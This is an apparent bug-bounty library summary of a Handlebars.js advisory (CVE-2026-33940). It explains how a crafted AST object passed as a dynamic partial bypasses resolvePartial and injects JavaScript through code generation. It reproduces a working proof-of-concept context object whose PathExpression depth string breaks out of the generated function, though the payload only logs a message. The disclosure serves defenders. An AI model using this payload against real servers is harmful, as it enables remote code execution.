# Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial

Crafted AST object with call:true bypasses resolvePartial guards in Handlebars, reaching env.compile() and executing injected JavaScript for RCE.

- Payout: Research
- Severity: high
- Program: Handlebars.js
- Found by: evanj2357
- Disclosed: 2026-03-27
- CVE: CVE-2026-33940
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-xhpv-hc6g-r9c6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-xhpv-hc6g-r9c6
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:deserialization vuln:rce

**Target:** Handlebars runtime resolvePartial/invokePartial dynamic partial lookup
**Root cause:** resolvePartial returns a crafted object as-is when it has call:true, and invokePartial treats the resulting undefined as an uncompiled partial, passing the attacker-controlled AST to env.compile().
**Steps:**
1. Template uses dynamic partial: `{{> (lookup . "payload")}}`
2. Context payload is an object with `call: true` and `type: "Program"` plus a MustacheStatement body
3. resolvePartial early-returns the object due to `partial.call` truthiness
4. invokePartial yields undefined, runtime calls `env.compile(partial)` on the crafted AST
5. PathExpression depth string breaks out of generated function args: `0])),function () {console.error('...');}()));//`
6. Compiled template executes injected JS
**How found:** Code reading of resolvePartial/invokePartial: noticed the call:true branch returns the object unchanged and that undefined from invokePartial triggers the compile fallback, then crafted an AST to break out of generated code.
**Exploitation:** Attacker controls a context value reachable by a dynamic partial lookup; supplying a crafted AST object with call:true and an injected PathExpression depth causes the code generator to emit attacker JS that runs on the server during render.
**Insight:** When a runtime falls back to compiling a value it failed to resolve, check whether attacker-controlled objects can reach that compile path; type-confusing a lookup result into an AST is a reliable codegen injection vector.

## Proof of concept (copied exactly from the original report)

**Crafted AST object injected via dynamic partial**

```
const vulnerableTemplate = `{{> (lookup . "payload")}}`;

const maliciousContext = {
  payload: {
    call: true, // bypasses the primary resolvePartial branch
    type: "Program",
    body: [
      {
        type: "MustacheStatement",
        depth: 0,
        path: {
          type: "PathExpression",
          parts: ["pop"],
          original: "this.pop",
          // Injected code breaks out of the generated function's argument list
          depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//",
        },
      },
    ],
  },
};

Handlebars.compile(vulnerableTemplate)(maliciousContext);
```

